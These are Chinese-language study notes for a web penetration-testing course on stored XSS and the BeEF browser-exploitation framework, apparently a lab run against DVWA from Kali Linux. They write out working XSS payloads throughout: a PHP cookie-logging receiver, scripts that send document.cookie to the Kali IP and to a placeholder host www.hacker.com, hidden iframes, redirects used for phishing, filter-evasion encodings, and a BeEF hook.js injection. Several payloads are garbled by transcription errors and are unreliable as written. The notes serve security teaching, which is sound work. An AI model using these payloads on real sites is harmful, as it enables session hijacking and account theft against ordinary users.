开发者学堂课程【网络安全攻防 - Web渗透测试:XSS 跨站脚本攻击_3】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9913
XSS 跨站脚本攻击_2
内容介绍
一、 存储型 XSS
二、 构造 XSS 脚本
三、 自动化 XSS
一、 存储型 XSS
存储型 XSS(持久型 XSS)即攻击者将带有 XSS 攻击的链接放在网页的某个页面,例如评论框等;用户访问此 XSS 链接并执行,由于存储型 XS5 能够攻击所有访问此页面的用户,所以危害非常
1. 手工【低】
1) 攻击1 弹框告警:渗透机 kali Linux 端操作
text1
alert(‘yangge')
2) 攻击2 获取 cookie:渗透机 Kali Linux 端操作
a) 构建收集 cookie 服务器
b) 构造 XSS 代码并植入到 Web 服务器
c) 等待肉鸡触发 XSS 代码并将 cookie 发送到 Kali
d) Cookie 利用
3) root@kali:~#[vim /var/www/html/cookie_rec.php
$cookie = $_GET['cookie'];
$log一fopen(cookie.txt","a")
fwrite($log, $cookle "\n");
fclose($log);
?>
root@kali:# chown -R www-data.www-data /var/www/
2. 通过渗透机植入 XSS 代码:
(script>window.open('http://192.168.106
14d/cookierec.php?cookle-"+document.cookle)
注:192.168.106.140 为 kali Linux IP
注:先清除之前植入的 XS5代码
二、构造 XSS 脚本
1. 弹框警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号‘,一旦此新本能执行,也就拿味着后端服务器没有对特殊字符做过滤<>/”这样就可以证明,这个页面位置存在了XSS漏洞。
alert('xss')
alert(document.cookie)
2. 页面嵌套
<iframe src=http://ww.baidu.com width=300 height=300></iframe>
<iframe src=http://ww.baidu.com width=0 height=0 border=0></iframe>
3. 页面重定向
window.location="http://www.qfedu.com"
location.href="http://www.baidu.com"
4. 弹框警告并重定向
alert("请移步到我们的新站”);location.hre
/www.qfedu.com"
alert('xss');location.href="http://1e 35/mutillidae/robots.txt"
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户 (克隆网站收集账户)
5. 访问恶意代码
s/script>
#结合 BeEF 收集用户的 cookie
6. 巧用图片标签
< img src="#”onerror=alert('xss')>
< img src="http://BeEF_IP:3000/hook.js">
7. 绕开过滤的脚本
大小写<ScrIpt>alert('xss')</SCRipt>
字符编码 采用 URL、Base64等编码
<ahref=”¦ava8#115;cr8#105pt:a8#108Ϻ#114;8#116;8#40;";xs;s;";);">yangge</a>
8. 收集用户 cookie
打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script><script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie-"+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie-'+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie=adocument ing.width = 0;
img.height =0;
</script>
三、自动化 XSS
1. Browser Exploitation Framework (BeEF)
BeEF 是目前最强大的浏览器开源渗透测试框架,通过 XSS 漏洞配合 JS 脚本和 Metasploit 进行渗透;
BeEF 是基于 Ruby 语言编写的,并且支持图形化界面,操作简单;
1) 信息收集:
1.网络发现
2.主机信息
3. Cookie 获取
4.会话劫持
5.键盘记录
6.插件信息
2) 持久化控制:
1. 确认弹框
2. 小窗口
3.中间人
3) 社会工程
1. 点击劫持
2. 弹窗告警
3. 虚假页面
4. 钓鱼页面
4) 渗透攻击:
1.内网渗透
2. Metasploit
3.CSRF 攻击
4. DDOS 攻击
2. BeEF 基础
1) 启动 Apache 和 BeEF:
root@kali:~# service apache2 start
<script src="http://192.168.106.140:3000/hook.js"x/script>
注:192.168.106.140为BeEF所在机器,即Kali Linux IP
2) 登录 BeEF:
username:beef
password:beef
渗透机将脚本放在 DWVA 靶机中:
<script src="http://192.168.106.140:3000/hook.js">x/scr
注:192.168.106.140为 BeEF 所在机器,即 Kali Linux,IP
注:需修改字符数的限制,例如为200
1. 信息收集
命令颜色(Color):
绿色对目标主机生效并且不可见(不会被发现)
橙色对目标主机生效但可能可见(可能被发现)
灰色对目标主机未必生效(可验证下)
红色对目标主机不生效
Get Cookie 获取信息
Get From Cookie 获取值
Get Page HREFs 获取页面链接
Get Page HTML 获取页面 HTML
Replace HREFs 替换页面连接
Replace HREFs(Click Events)
该模块将使用 Bilawal Hameed 更新点击事件处理来重写所有匹配链接的所有 href 属性,这将隐藏所有更新链接的目标站点。
Replace HREFs(HTTPS)
此模块将重写 HTTPS 链接的所有 href 属性以使用 HTTPS,不会重写相对于 web 根目录的链接。
Replace HREFs(TEL)
该模块重写 HTTPS 链接的所有电话链接的 href 属性。